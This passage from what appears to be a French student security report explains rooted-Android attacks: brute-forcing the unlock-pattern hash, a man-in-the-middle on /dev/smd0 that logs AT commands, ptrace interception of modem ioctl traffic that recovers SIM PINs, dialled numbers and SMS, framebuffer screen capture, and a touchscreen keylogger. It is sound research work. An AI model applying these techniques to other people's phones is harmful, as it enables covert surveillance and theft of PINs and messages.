similaire au dernier présenté. On commence par créer une liste contenant toutes les combinaisons possibles formées de N nombres au format hexadécimal (0x0 à 0x8) via la méthode product de la classe itertools. Chaque élément de la liste est chiffré via la méthode sha1() de la classe hashlib puis converti en suite de caractères ASCII via la méthode hexdigest(). La clé gesture.key contenant une suite d’éléments binaires est aussi convertie en ASCII via la méthode hexlify() de la classe binascii. Ces deux résultats sont comparés, si ils sont égaux la combinaison est alors trouvée. Chaque chiffre de la combinaison trouvée correspond à un emplacement parmi ceux de la grille suivante : 012 345 678 Par exemple la lettre M correspond à la combinaison « 6304258 ». 10
  14. 14. 1.2.6 Choix du langage Python Nous avons choisi d’utiliser le langage python pour réaliser l’attaque par force brute car ce dernier est simple d’utilisation et adapté à ce genre d’action. De ce fait, il permet d’obtenir le résultat voulu avec un nombre réduit d’itérations. Les opérations de chiffrement ainsi que leurs conversions associées sont rapides et explicites. 1.3 Récupération des commandes AT Selon le constructeur du téléphone les interactions entre le module radio applicatif et le module radio baseband du téléphone ne sont pas les mêmes. Nous allons voir quels sont les différentes méthodes pour parvenir à garder une trace des commandes AT échangées entre le mobile et la BTS à laquelle il est raccordé. 1.3.1 Dumping des commandes AT sur téléphone type HTC Sur un téléphone type HTC les commandes AT échangées entre le module applicatif et le module matériel peuvent être visualisées via un pseudo terminal présent dans le répertoire /dev. En effectuant une lecture du fichier /dev/smd0 il est possible de voir passer en clair les différentes commandes AT échangées. Par exemple la commande cat/dev/smd0 permet la visualisation de ces commandes durant une courte période. Période après laquelle le téléphone redémarre ou plante, car diverses opérations de lecture et d’écriture sont effectuées simultanément. L’architecture radio simplifiée du téléphone HTC est la suivante : Figure 1.2 – Communication entre RILD et Driver Radio Ainsi le processus RILD écrit dans le daemon /dev/smd0 pour passer des commandes (en utilisant une librairie rild.so pour traduire les actions au format AT). Il lit le résultat de ces commandes dans le même daemon. Il en est de même pour la partie matérielle, qui vient lire les commandes logicielles dans ce terminal, et qui écrit les commandes reçues depuis la BTS. Pour garder une liste des commandes AT échangées il est possible d’effectuer une attaque type Man in The Middle. Cette attaque consiste à créer un programme qui reçoit les commandes des différents modules (Applicatif et Matériel), les enregistre dans un fichier puis les relaye vers le destinataire. Pour se faire il faut « faire croire » au processus RILD que le pseudo terminal dans lequel il doit effectuer ses opérations de lecture/écriture est celui de notre programme. Notre programme s’attachera également au processus /dev/smd0 pour recevoir les commandes de la partie matérielle ainsi que pour passer celles du processus radio applicatif. Lorsque le processus radio applicatif com.telephony.rild est arrêté, il redémarre automatiquement en s’at- tachant au pseudo-terminal ayant pour nom /dev/smd0 (nom représentant un lien symbolique). L’astuce est donc de renommer le daemon original en /dev/smd0Real, auquel la partie matérielle sera toujours raccordée (et ce quelque soit le nom), puis de créer un lien symbolique sur le pseudo-terminal attaché à 11
  15. 15. notre programme, se nommant /dev/smd0. Après avoir tué le processus radio, ce dernier redémarre et se rattache automatiquement sur le daemon portant le nom /dev/smd0 qui est en fait le pseudo-terminal de notre programme. Ainsi notre programme pourra donc effectuer des opérations multi-taches ratraçant ces échanges. Le schéma précédent est donc modifié de la manière suivante : Figure 1.3 – Man in the Midlle 1.3.2 Quelques commentaires sur le code source La fonction config_term() permet de configurer le pseudo terminal de notre programme. Elle spécifie la vitesse d’écriture et de lecture via les fonctions cfsetospeed() (écriture) et cfsetispeed() (lecture). La fonction cfmakeraw() permet de désactiver l’echo lors des opérations de lecture/écriture dans le termi- nal. D’autres détails se trouvent dans le code source. Le fichier /dev/ptmx permet de récupérer le descripteur de fichier associé au pseudo-terminal utilisé par notre programme. Comme nous l’avons vu cet élément est fondamental pour le bon fonctionnement de notre programme. Les fonctions grantpt(..) ,unlockpt(..) et chmod(..) autorisent les opérations de lecture/écriture à d’autres processus que celui crée par notre programme. Cette fonctionnalité est obligatoire vu que le processus RILD va venir effectuer ses entrées sorties dans notre terminal. La fonction symlink() permet de créer un lien symbolique. Le programme contient de nombreux commentaires aidant au mieux la compréhension du lecteur. 12
  16. 16. 1.3.3 Lancement du programme Terminal 1 ~# : adb shell su mv /dev/smd0 /dev/smd0Real ./ at_dump_htc Terminal 2 ~# : adb shell su ps #Identifier le processus com.telephony.rild kill 9 <# processus RILD > 1.3.4 Résultat Une fois les opérations effectuées le téléphone redemande le code PIN à l’utilisateur : c’est normal nous venons de redémarrer le processus radio. Le code PIN de l’utilisateur dans le fichier output/trace.log : [RILD SEND] : AT+CPIN? [RILD RECEIVE] : +CPIN: SIM PIN ... [RILD SEND] : AT+CLCC [RILD RECEIVE] : 0 [RILD SEND] : AT+CPIN="0000" ... [RILD SEND] : AT+CPIN? [RILD RECEIVE] : +CPIN: READY Lors d’un appel téléphonique sortant on obtient la trace suivante : [RILD SEND] : ATD0603504107; [RILD RECEIVE] : 0 [RILD SEND] : AT+CLCC [RILD RECEIVE] : +CLCC: 1,0,2,0,0,"0603504107" ,129 0 [RILD SEND] : AT+CMUT =0 [RILD RECEIVE] : 0 [RILD SEND] : AT+CMUT =0 [RILD RECEIVE] : 0 [RILD SEND] : AT+CLCC [RILD RECEIVE] : +CLCC: 1,0,2,0,0,"0603504107" ,129 0 Des coordonnées GPS sont également échangées entre le mobile et la BTS. Toute opération de commu- nication sera forcément tracée. Ce type de trace peut s’avérer parfois difficile à lire, mais représente une source d’information riche et fiable sur l’utilisation du réseau par le propriétaire de l’appareil. Note : Il est possible a partir de Regex d’extraire les informations très rapidement 1.4 Dump du modem sur Samsung Nexus S 1.4.1 Introduction Nous avons vu précédemment le dump de commandes AT. Nous pouvions récupérer des informations telles que le code PIN, les numéros de téléphone appelés ou encore les SMS envoyés. Nous sommes équipés 13
  17. 17. d’un Samsung Nexus S et nous avons tenté de récupérer ces commandes AT sur ce téléphone. Gros point noir à l’horizon : sur le modem du Samsung Nexus S, il n’existe pas de commandes AT. Toutes les communications avec le modem se font par des commandes ioctl(). Il faut donc intercepter les différents appels à la fonction ioctl() puis interpréter les arguments passés. Mais avant cela, nous devons identifier le processus qui se charge d’envoyer ces commandes. 1.4.2 Identification du processus d’envoi et de réception Il n’a pas été facile d’identifier quels étaient les processus impliqués dans l’envoi ou la réception. Nous avons donc utiliser strace sur le processus RILD. Les premiers tests ne fut pas concluants. Nous avons donc suivi les processus forkés depuis le processus RILD grâce à strace − f. Il existe deux processus créés pour communiquer avec le modem. Un en émission et l’autre en réception. Ces deux processus sont créés par RILD. Une manière simple pour récupérer les pid de ces processus est de regarder les noms de dossiers présents dans /proc/"numéro de pid de RILD"/task. L’avant dernier numéro est le processus chargé de la réception sur le modem et le dernier est celui chargé de l’émission. # ls /proc/‘busybox pidof rild ‘/ task 73 90 128 129 130 Dans cet exemple, les pids que nous allons surveiller sont le 129 en réception et le 130 en émission. 1.4.3 Utilisation de ptrace() pour voir les commandes ioctl() Gràce à ptrace(), on s’attache sur un des deux processus trouvés précédemment. Il faut maintenant trouver le moment où un appel ioctl() est passé. Pour trier les appels systèmes, il faut regarder le numéro d’appel système. Il faut donc utiliser un PTRACE_GET_REGS et comparer la valeur qui nous intéresse à SYS_ioctl qui est défini dans les include syscalls.h. Notre principal problème dans cette partie étant que nous ne savons pas où est stocké ce numéro d’appel système sur un système ARM. POur la trouver, il nous a fallu faire un fichier de test passant une commande ioctl() et le désassembler. L’étude de ce fichier nous a permis de savoir que le registre utilisé pour le numéro d’appel système est ARM_R7. Donc, à chaque tour de boucle, nous vérifions si le le contenu de ARM_R7 est égal à SYS_ioctl. Lecture des arguments dans les registres Maintenant que nous sommes sûr d’avoir une commande ioctl() en cours, nous pouvons récupérer ses différents arguments. Les arguments de la fonction ioctl() sont un descripteur de fichier, un numéro de requête et un pointeur sur une donnée quelconque. 1 #include <sys/ioctl.h> 2 int ioctl(int d, int requete, ...) Listing 1.1 – Code C Pour récupérer ces arguments, il faut lire les valeurs données dans les registres ARM_R0, ARM_R1 et ARM_R2 correspondant aux différents arguments dans l’ordre. Différentiation des commandes ioctl() Les commandes ioctl() que l’on voit passer doivent être différenciées par le numéro de requête qu’il contient. Le fichier ioctl.h définit des macros pour la création des numéros de requêtes : 1 #define _IOC(dir,type,nr,size) 2 (((dir) << _IOC_DIRSHIFT) | 14
  18. 18. 3 ((type) << _IOC_TYPESHIFT) | 4 ((nr) << _IOC_NRSHIFT) | 5 ((size) << _IOC_SIZESHIFT)) Listing 1.2 – Code C La requête se décompose en 4 champs décalés d’un certain nombre de bits : – La direction de la commande (lecture, écriture, lecture+écriture, ou aucun) – Le type définit le driver à qui envoyer la requête – Le nombre définit la fonction à appeler pour le driver – La taille définit la taille de l’objet à donner au driver (dernier paramètre de ioctl) 1 /* used to create numbers */ 2 #define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0) 3 #define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size))) 4 #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 5 #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 6 #define _IOR_BAD(type,nr,size) _IOC(_IOC_READ,(type),(nr),sizeof(size)) 7 #define _IOW_BAD(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),sizeof(size)) 8 #define _IOWR_BAD(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),sizeof(size)) Listing 1.3 – Code C Ces macros permettent de créer plus rapidement des numéros de requêtes en lecture et/ou écriture. Seulement, ce sont d’autres macros que nous utilisons. En effet, nous voulons retrouver ces 4 paramètres depuis un numéro de requête. 1 /* used to decode ioctl numbers.. */ 2 #define _IOC_DIR(nr) (((nr) >> _IOC_DIRSHIFT) & _IOC_DIRMASK) 3 #define _IOC_TYPE(nr) (((nr) >> _IOC_TYPESHIFT) & _IOC_TYPEMASK) 4 #define _IOC_NR(nr) (((nr) >> _IOC_NRSHIFT) & _IOC_NRMASK) 5 #define _IOC_SIZE(nr) (((nr) >> _IOC_SIZESHIFT) & _IOC_SIZEMASK) Listing 1.4 – Code C Les premiers tests nous ont donné un type ’o’ et les nombres 0x23 et 0x24. Suite à nos recherches, nous avons trouvé le code source d’une bibliothèque libre Samsung sur internet. Dans ce code source, deux lignes nous ont paru particulièrement intéressantes : 1 #define IOCTL_MODEM_SEND _IO(’o’, 0x23) 2 #define IOCTL_MODEM_RECV _IO(’o’, 0x24) Listing 1.5 – Code C Ces deux constantes portent des noms révélateurs de leur utilité. Donc nous trions chaque appel ioctl pour savoir si nous faisons un send ou recv. Note : Si il s’agit d’un send, nous récupérons les informations lors de l’appel système, sinon nous récu- pérons les informations lors du retour de l’appel système. Interprétation des structures passées en argument Dans la suite de cette section, nous utiliserons les appelations des structures définies par la biblio- thèque libre Samsung. Le troisième argument de l’appel système ioctl() est un pointeur sur une structure comportant 4 champs : 1 struct modem_io { 2 unsigned int size; 3 unsigned int id; 4 unsigned int cmd; 5 void *data; 6 }; Listing 1.6 – Code C Pour récupérer ces informations, nous récupérons ce qui est présent dans la mémoire en utilisant la fonc- tion ptrace() avec comme paramètre PTRACE_PEEK_DATA sur la taille de la structure modem_io. Notons que le modem utilise deux modes de fonctionnement : fmt et rfs. Nous n’avons pas trouvé ce qui différencie ces deux modes de fonctionnement. Nous savons seulement qu’en mode fmt, les champs id et 15
  19. 19. cmd sont inutilisés contrairement au mode rfs où tous les champs sont utilisés. Or dans la majorité des cas, c’est le mode fmt qui est utilisé. Nous ne nous intéresserons donc pas à ces deux champs dans la suite. Le champs data est un pointeur sur les données en mémoire et le champs size permet de connaître la taille de ces données. Nous utilisons une nouvelle fois ptrace() avec PTRACE_PEEK_DATA sur la taille donnée par le champs size. Nous avons ainsi récupéré toutes les données envoyées au modem ou générées par le modem. Il ne reste plus qu’à interpréter ce que nous avons. Tout d’abord, nous avons un header de 7 octets qui permet de différencier les différentes actions demandées au modem. 1 struct ipc_header { 2 unsigned short length; 3 unsigned char mseq, aseq; 4 unsigned char group, index, type; 5 } __attribute__((__packed__)); Listing 1.7 – Code C Nous remarquons un premier champ length, c’est la taille des données, header compris. En théorie, ce champ length doit être égal au champ size de la structure modem_io. Il arrive que ce ne soit pas le cas par moment. Seulement, on s’aperçoit que des données sont renvoyés plus tard avec les mêmes champs mseq et aseq. Or aseq et mseq sont des numéros de séquences, un pour l’émission et l’autre pour la réception. Donc, si les numéros de séquences sont les mêmes, on peut conclure que les données correspondantes sont les mêmes. Par conséquent, si on reçoit des données avec le champ length du ipc_header différent du champ size du modem_io, cela signifie que c’est une erreur et que ces données doivent être ignorées. Le champ group permet de distinguer un ensemble de commandes, comme par exemple les commandes de SMS ou d’appels. Le champ index permet de savoir à quelle commande cela correspond dans ce group. Est-ce un envoi de SMS ou une réception ? On le sait grâce à ce champs index. Le champ type permet de distinguer les différents cas d’utilisation de cette commande. Par exemple, l’envoi du sms est en cours ou le sms a bien été envoyé. Les différentes valeurs de type sont les suivantes en fonction du sens d’envoi des informations. 1 /* AP -> Baseband */ 2 #define IPC_TYPE_EXEC 0x01 3 #define IPC_TYPE_GET 0x02 4 #define IPC_TYPE_SET 0x03 5 #define IPC_TYPE_CFRM 0x04 6 #define IPC_TYPE_EVENT 0x05 Listing 1.8 – Code C 1 /* Baseband -> AP */ 2 #define IPC_TYPE_INDI 0x01 3 #define IPC_TYPE_RESP 0x02 4 #define IPC_TYPE_NOTI 0x03 Listing 1.9 – Code C 1.4.4 Récupération des informations utiles Les trois groupes que nous allons surveiller sont les suivants : les appels, les SMS et le code PIN. Cela correspond à ces trois définitions : 1 #define IPC_GROUP_CALL 0x02 2 #define IPC_GROUP_SMS 0x04 3 #define IPC_GROUP_SEC 0x05 Listing 1.10 – Code C Pour distinguer les commandes, nous utilisons les octets de group et index concaténés. Nous allons surveiller les suivants pour les appels : 1 #define IPC_CALL_OUTGOING 0x0201 2 #define IPC_CALL_INCOMING 0x0202 Listing 1.11 – Code C Pour les SMS, nous allons utiliser les suivants : 16
  20. 20. 1 #define IPC_SMS_SEND_MSG 0x0401 2 #define IPC_SMS_INCOMING_MSG 0x0402 Listing 1.12 – Code C Pour le code PIN, ce sera celui là : 1 #define IPC_SEC_SIM_STATUS 0x0501 Listing 1.13 – Code C Les données suivantes sont collées au ipc_header, il suffit donc de contnuer à lire les données récupérées précédemment. Le code PIN Les principales informations récupérées lorsque nous avons un IPC_SEC_SIM_STATUS sont de deux types : envoi du code PIN ou envoi du code PIN OK. Le deuxième type n’est pas un contrôle sur le code PIN, mais seulement une information sur la réussite de l’envoi du code PIN. Les deux types sont donc IPC_TYPE_GET et IPC_TYPE_SET. Les données correspondant au IPC_TYPE_GET n’ont pas de payload, il s’agit donc d’une donnée de 7 octets ne comprenant que le ipc_header. Pour ce qui est du IPC_TYPE_SET, nous avons bel et bien une payload : 1 struct ipc_sec_pin_status_set { 2 unsigned char type; 3 unsigned char length1; 4 unsigned char length2; 5 unsigned char pin1[8]; 6 unsigned char pin2[8]; 7 } __attribute__((__packed__)); Listing 1.14 – Code C Dans cette payload, nous pouvons distinguer un champ type, deux champs length et deux champs pin. Le champ type peut contenir deux valeurs qui permettent de choisir entre l’un ou l’autre des codes PIN : 1 #define IPC_SEC_PIN_TYPE_PIN1 0x03 2 #define IPC_SEC_PIN_TYPE_PIN2 0x09 Listing 1.15 – Code C Nous pouvons noter que les valeurs sont étranges, il aurait été plus simple de choisir 1 et 2 par exemple. Il s’agit surement de valeurs standardisées pour les cartes SIM. Il ne reste plus qu’à récupérer le code PIN sur une longueur donnée en fonction du type. Le code PIN est passé en ASCII, il suffit donc de l’afficher et le tour est joué ! Les appels Lorsque l’on passe un appel, nous récupérons un IPC_CALL_OUTGOING. Nous n’avons pas observé de types différents lors de l’appel. Seul le type IPC_TYPE_EXEC est passé. De ce fait, il n’y a qu’une structure passée : 1 struct ipc_call_outgoing { 2 unsigned char unk; 3 unsigned char type; 4 unsigned char identity; 5 unsigned char length; 6 unsigned char prefix; 7 unsigned char number[86]; 8 } __attribute__((__packed__)); Listing 1.16 – Code C Le champ type correspond au type d’appel : voix ou data. Voici les valeurs correspondantes : 1 #define IPC_CALL_TYPE_VOICE 0x01 2 #define IPC_CALL_TYPE_DATA 0x03 Listing 1.17 – Code C 17
  21. 21. Le champ identity explicite si l’appel est en mode masqué ou pas. Il y a trois valeurs : 1 #define IPC_CALL_IDENTITY_DEFAULT 0x00 2 #define IPC_CALL_IDENTITY_HIDE 0x01 3 #define IPC_CALL_IDENTITY_SHOW 0x02 Listing 1.18 – Code C Le champ length donne la taille du numéro à récupérer sur le champ number. Ce champ contient le numéro de téléphone appelé en ASCII. Il suffit donc de récupérer cela et de l’afficher. Les SMS Sur réception d’un IPC_SMS_SEND_MSG, on peut voir deux types principaux : – IPC_TYPE_EXEC : correspond à l’envoi du sms, on peut récupérer le sms directement – IPC_TYPE_SET : correspond à l’ordre d’envoi du sms Si on a un IPC_TYPE_EXEC, nous récupérons cette structure : 1 struct ipc_sms_send_msg { 2 unsigned char type; 3 unsigned char msg_type; 4 unsigned char unk; 5 unsigned char length; 6 unsigned char smsc_len; 7 } __attribute__((__packed__)); Listing 1.19 – Code C Le champ type sert à dire que le sms est sortant. Le champs msg_type permet de distinguer si un sms est simple ou multiple. Le champs length donne la taille du SMSC_string qui suit. Le smsc_len est la taille de l’entête définissant le SMS center dans le SMSC_string. Dans la suite, il n’y a pas de structure pour décomposer le SMSC_string. Nous allons donc partir sur un exemple : SMSC_string : 07 91 33 86 09 40 00 f0 01 00 0b 91 33 46 86 16 73 f5 00 00 04 d4 f2 9c 0e Nous avons ici la trace héxadécimale du SMSC_string. Le premier octet 0x07 est le smsc_len de la structure ipc_sms_send_msg. Cela veut dire que le SMS center est codé sur 7 octets : "91 33 86 09 40 00 f0". Le code héxadécimal 0x91 signifie que le numéro de téléphone est international. Donc, le numéro commence par un ’+’. Le numéro de téléphone est codé sur un demi-octet par chiffre. Le ’f’ est un symbole de bourrage quand la longueur du numéro de téléphone est impair. Du coup, le numéro récupéré ici est +33 6 89 04 00 00. Ensuite, nous pouvons récupérer le numéro de téléphone à qui est envoyé le SMS : "0b 91 33 46 86 16 73 f5". 0x0b est la taille du numéro de téléphone, ici 11. En effet, le numéro est dans son format international (0x91), le numéro possède donc 11 chiffres. Le codage du numéro de téléphone est le même que précédemment. De ce fait, le numéro récupéré ici est +33 6 46 86 13 75. A la fin, nous avons le message du SMS : "04 d4 f2 9c 0e". 0x04 donne la taille en nombre de caractères du SMS. Le SMS est encodé sur 7 bits. Il faut donc rajouter un bit à 0 tous les 7 bits sur pour récupérer le code ASCII original. Décomposons le SMS : Il faut placer les octets en sens inverses pour mieux le découper : Héxadécimal : 0e 9c f2 d4 Binaire : 0000 |1110 100|1 1100 11|11 0010 1|101 0100 Décodage : (0)111 0100 (0)111 0011 (0)110 0101 (0)101 0100 Héxadécimal : 74 73 65 54 ASCII : t s e T Si on replace les lettres dans l’ordre, nous obtenons : "Test". Du coup, nous avons récupéré les informations du SMS : 18
  22. 22. SMS Center : +33689004000 Numéro de téléphone : +33646861375 Message : Test Note : Le SMS Center est le numéro de téléphone utilisé pour envoyer le SMS, il sert de proxy. Le SMS lui est directement envoyé, il y est stocké si le téléphone destinataire n’est pas connecté au réseau. 1.4.5 Pour aller plus loin... Jusqu’à présent, nous nous sommes limités au code PIN, aux envois de SMS et appels sortants. En gros, nous ne suivons que le processus send. On pourrait récupérer les appels entrants et SMS entrants. On pourrait aussi suivre les connexions internet sur la 3G. 1.5 Récupération de la mémoire graphique 1.5.1 Le principe L’équipement de sortie vidéo sous Android est le frame buffer(fb). La mémoire graphique se trouve donc dans les tampons mémoires fb (fb0,fb1... etc.). Dans nos algorithmes nous avons donc utilisé ces tampons mémoires et plus précisement le fb0 qui est celui attaché à l’écran principal. Via ce fichier une capture complète de l’écran peut être extraite (screenshot). Le daemon fb0 se trouve dans le dossier /dev/graphics/. Par défaut la lecture est protégée. Il faut donc des droits root. Chaque écran possède des propriétés qui lui sont propres. Les propriétés importantes pour l’extraction d’images sont : – Le nombre de pixels en X – Le nombre de pixels en Y – Le format et la taille des pixels Ces données sont accessibles via un appel système ioctl via les commandesFBIOGET_VSCREENINFO et FBIOGET_FSCREENINFO. 1.5.2 Mise en application Récupération distante Note : Cette démonstration a été réalisée sur HTC Wildfire S. La première application vise la récupération distante du frame buffer fb0 et tout le traitement est effectué sur la machine distante via l’outil ffmpeg. Cet outil permet de recréer une image selon le contenu du framebuffer. L’obtention des paramètres nécessaires à cette opération se fait via la commande suivante : ioctl -rl 28 /dev/graphics/fb0 17920 -r pour read-only -l pour donner la taille du io buffer (ici 28) - “17920” est equivalent à l’ioctl FBIO- GET_VSCREENINFO Cette commande retourne le suivant : sending ioctl 0x4600 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0 x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 return buf: 40 01 00 00 e0 01 00 00 40 01 00 00 a0 05 00 00 00 00 00 00 e0 01 00 00 20 00 00 00 C’est-à-dire : 19
  23. 23. 20 00 00 00 - nombre de bits par pixel 40 01 00 00 - la taille en x e0 01 00 00 - la taille en y En verbose, cet appel ioctl nous informe que la resolution est 320x480 et que chaque pixel est encodé au format 32 bits. Il faut faire attention au sens de lecture (littleendian/bigendian). Nous utilisons ensuite l’outil ffmpeg pour extraire une image depuis le fichier fb0 récupéré : ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgba -s 320 x480 -i fb0 -f image2 -vcodec png frame -%d.png Le paramètre −pix_fmt definit le format des pixels. Il existe plusieurs formats pour l’encodage 32 bits. Format proposé par ffmpeg : ffmpeg -pix_fmt -list ... IO... argb 4 32 IO... rgba 4 32 IO... abgr 4 32 IO... bgra 4 32 IO... yuv422p16le 3 32 IO... yuv422p16be 3 32 Pour le modèle HTCWildfireS le format est rgba = rrrrrrrr gggggggg bbbbbbbb aaaaaaaa. rgb explicite la couleur du pixel et a - son adresse. Resultat final : Figure 1.4 – Capture d’écran distante Récupération locale La première méthode permet la capture d’écran depuis le mobile connecté à un ordinateur. C’est l’ordi- nateur qui encode l’image via le codec présenté plus haut. Cette première étape permet de comprendre le fonctionnement, mais ne présente que peu d’intérêt pour une attaque. Au vu de notre second objectif, nous avons conçu un programme permettant d’effectuer des captures d’écrans au format BMP directe- ment sur le téléphone sans que ce dernier n’ait besoin d’être relié à un ordinateur. Les étapes à effectuer sont multiples : 1. Récupérer les informations liées au framebuffer. 2. Récupérer les données stockées dans le framebuffer. 20
  24. 24. 3. Créer l’image au format désiré. Pour ce faire nous avons utilisé deux structures issues de la documentation du kernel Android. La première fb_var_screeninfo permet de récupérer de l’appel ioctl avec le code opératoire FBIOGET_V SCREENINFO, la seconde pour un appel avec le code opératoire FBIOGET_FSCREENINFO . 1 GGLSurface fb ; 2 fd_fb = open(FB_PATH, O_RDWR) ; 3 struct fb_var_screeninfo var_info ; 4 struct fb_fix_screeninfo fix_info ; 5 ioctl(fd_fb, FBIOGET_FSCREENINFO, & fix_info) ; // OP-CODE IOCTL = FBIOGET_FSCREENINFO 6 ioctl(fd_fb, FBIOGET_VSCREENINFO, & var_info) ; // OP-CODE IOCTL = FBIOGET_VSCREENINFO 7 /* Recuperation de la zone memoire associee au framebuffer.*/ 8 void * bits ; 9 bits = mmap(0, fix_info.smem_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd_fb, 0) ; Listing 1.20 – Code C Nous avons ensuite stocké l’ensemble de ces données dans une structure GGLSurface. Une fois cette dernière structure instanciée, on récupère pour chaque pixel du framebuffer (un pixel cor- respond à 4 octet) l’octet correspondant à la couleur bleu, puis vert puis rouge, dans un tableau de taille égale au nombre de pixels stockés dans le framebuffer. 1 uint8_t rgb24 = (uint8_t *) malloc(w * h * 3); 2 for (;i<w*h;i++) 3 { 4 //Pour quantum d’image (32 pixels) on recupere les RGB 5 uint32_t pixel32 = ((uint32_t *)fb.data)[i]; // fb.data est le pointeur sur le pixel courant de la zone memoire contenant le framebuffer 6 7 rgb24[3*i+0] = pixel32 & 0x000000FF; // Recuperation de l’octet #1 (Bleu) 8 rgb24[3*i+1] = (pixel32 & 0x0000FF00) >> 8; // Recuperation de l’octet #2 (Vert) 9 rgb24[3*i+2] = (pixel32 & 0x00FF0000) >> 16; // Recuperation de l’octet #3 (Rouge) 10 } Listing 1.21 – Code C Une fois l’ensemble des pixels enregistrés dans le tableau, il faut construire le header de l’image (structure BMPHEAD). Il suffit ensuite d’écrire le header dans le fichier de sortie et de recopier trois octets par ligne chaque pixel encodé sur trois octets issus du tableau. Cette manipulation suffit à récupérer une image de qualité satisfaisante. Il aurait été intéressant de tester d’autres formats, tels que des formats compressés (jpeg). Cela permettrait de récupérer des images de plus petites tailles, et accélèrerait une éventuelle attaque ciblée. 1.5.3 D’autres solutions Il existe d’autres méthodes pour faire une capture d’écran. Depuis la version ICS, Android offre une application screeencap qui permet de faire des captures d’écran sans avoir les droits root. adb shell /system/bin/screencap -p /data/local/tmp/screenshot.png adb pull /data/local/tmp/screenshot.png eog screenshot.png 21
  25. 25. 1.6 Récupération des positions pointeurs écrans et du keypad Comme sur le système UNIX, la gestion des interruptions générées par des pérphériques tels qu’un clavier ou une souris peut être retracée via un pseudo-terminal. Nous avons essayé de capturer la position des touchés écran, ainsi que les caractères saisis sur le clavier virtuel. 1.6.1 Fonctionnement Sur un système linux classique il est assez simple, à condition d’avoir les droit root, de créer un lo- giciel de capture expérimenal permettant d’enregistrer tous les caractères saisis par l’utilisateur via son clavier. Un certain nombre de périphériques, tel que le clavier, sont répertoriés dans le fichier : /proc/- bus/input/devices. Une fois la section correspondante au clavier repérée il suffit de prendre connaissance de la variable eventX. Généralement le champ name de la section correspondante au clavier comporte le mot clé keyboard. La variable eventX (où X est un entier) correspond au nom du pseudo terminal dans le quel les interruptions clavier sont reçues par le kernel. Ce pseudo terminal se trouve dans le dossier /dev/input/. En ouvrant en lecture simple ce fichier sur un terminal, l’analyste peut voir passer des suites de caractères indéchiffrables. En réalité ce qui transite via ce terminal peut être interprété en utilisant une structure dans le langage de programmation choisi. En langage C la structure input_event permet de décoder ces caractères. Cette structure comporte quatre champs : – Le premier permet d’itentifier le périphérique emetteur (struct input_dev) : – Le second identifie le type d’évenement (touche enfoncée, relachée...) – Le troisième dépend du second, il permet de donner une information plus précise du type d’évene- ment. (code) – Le dernier correspond à une valeur entière et identifie dans notre cas la touche saisie. Les évenement intéressants pour un logiciel de capture sont ceux du type EV_KEY. Il indique quand une touche est enfoncée, et il suffit de mapper le code du dernier champ de la structure avec un de ceux contenus dans le fichier/linux/keyword.h. Dans un programme il suffit d’ouvrir en lecture simple le pseudo terminal en question, de récupérer les structures y transitant et de filtrer celles qui nous intéressent. Il suffit de mapper le dernier champs de la structure et de l’écrire dans un fichier (par exemple). Ce genre de logiciel expérimental ne fournit pas une capture de grande qualité mais elle suffit à comprendre le principe de fonctionnement des keyloggers. Le but n’étant pas de réaliser un logiciel de capture sophistiqué sur linux, nous avons continué l’étude sur le système Android. Après lecture du fichier /proc/bus/input/devices/ sur le téléphone HTC Wildfire nous avons identifé la section semblant être celle correspondante au clavier virtuel. Cependant en ouvrant le pseudo terminal définit par cette dernière en lecture, nous n’avons rien vu transiter via ce fichier. Le seul pseudo terminal dont nous sommes parvenus à obtenir un résultat est celui repertorié dans la section suivante : #HTC Wildfire #:cat /proc/bus/input/devices ... I: Bus =0000 Vendor =0000 Product =0000 Version =0000 N: Name="cy8c -touchscreen" P: Phys= S: Sysfs =/ devices/virtual/input/input3 U: Uniq= H: Handlers=event3 B: EV=9 B: ABS =4650000 0 ... Après analyse des structures input_event nous avons remarqué que ce qui transitait semblait être les positions des touchés écrans. En effet un évenement de type EV_ABS associés aux champs code ABS_MOTION_MT_POSTION_X et ABS_MOTION_MT_POSITION_Y donne la position abso- lue du touché écran selon deux axes X et Y. Nous avons donc pu récupérer les différentes positions des touchés. Nous avons poursuivit l’étude en essayant de capturer les caractères saisis par l’utilisateur. Pour cela nous avons expérimentalement déterminé quel était la position des caractères sur le clavier virtuel Android. 22
  26. 26. Pour ce faire nous mappé chaque entrée (X,Y) avec une lettre du clavier. Les deux codes keypostion.c et keylogger.c ayant servis aux manipulations précédentes sont disponibles en annexe. 1.6.2 Limites de la manipulation Bien que nous soyons parvenu à un résultat, la qualité des captures restent médiocres. Nous avons été confrontés à un ensemble de problèmes : – Selon la durée d’un même touché, la position peut apparaître de nombreuses fois. Cela rend les traces plus fastidieuses à lire, et dans le cas du mappage avec un caractère, ce dernier peut apparaître en double voir en tripple. – Sans amélioration ce code ne fonctionnera que sur une minorité de téléphones : ceux utilisant le clavier Android français d’origine. Nous ne sommes pas parvenu à identifier dans les nombreux fichiers que nous avons lus s’il existait un moyen en développement C natif d’obtenir une correspondance avec des caractères, comme nous avions pu la trouver sur Linux. Il existe une autre méthode, que nous avons découverte plus tard, qui consiste à utiliser l’interface JNI (Java Native Interface), qui permet d’utiliser des fonctionnalités écrites en Java. En Java il est possible d’utiliser des objets instanciant les classes android.view.MotionEvent et android.view.KeyEvent, pour re- trouver la saisie de l’utilisateur sous sa bonne forme (soit une position soit un caractère). Les méthodes de ces classes sont accessibles dans le développement JNI. Il semblerait donc possible de réaliser un logiciel de capture plus efficace. En langage Java il est possible de réaliser un logciel de capture facilement, cependant le mécanisme de SandBoxing interdit une tierce application de capturer ce qui est saisi dans une autre. A moins d’avoir un moyen de contourner cette sécurité il semble impossible de réaliser une application fonctionnelle (à moins de ne vouloir seulement capturer ce qui est tapé dans l’application en elle même, ce qui présente peu d’intérêt). Au vu de notre objectif final (cf partie 2.6) nous avons gardé notre premièr programme, pour poursuivre l’étude plus loin. 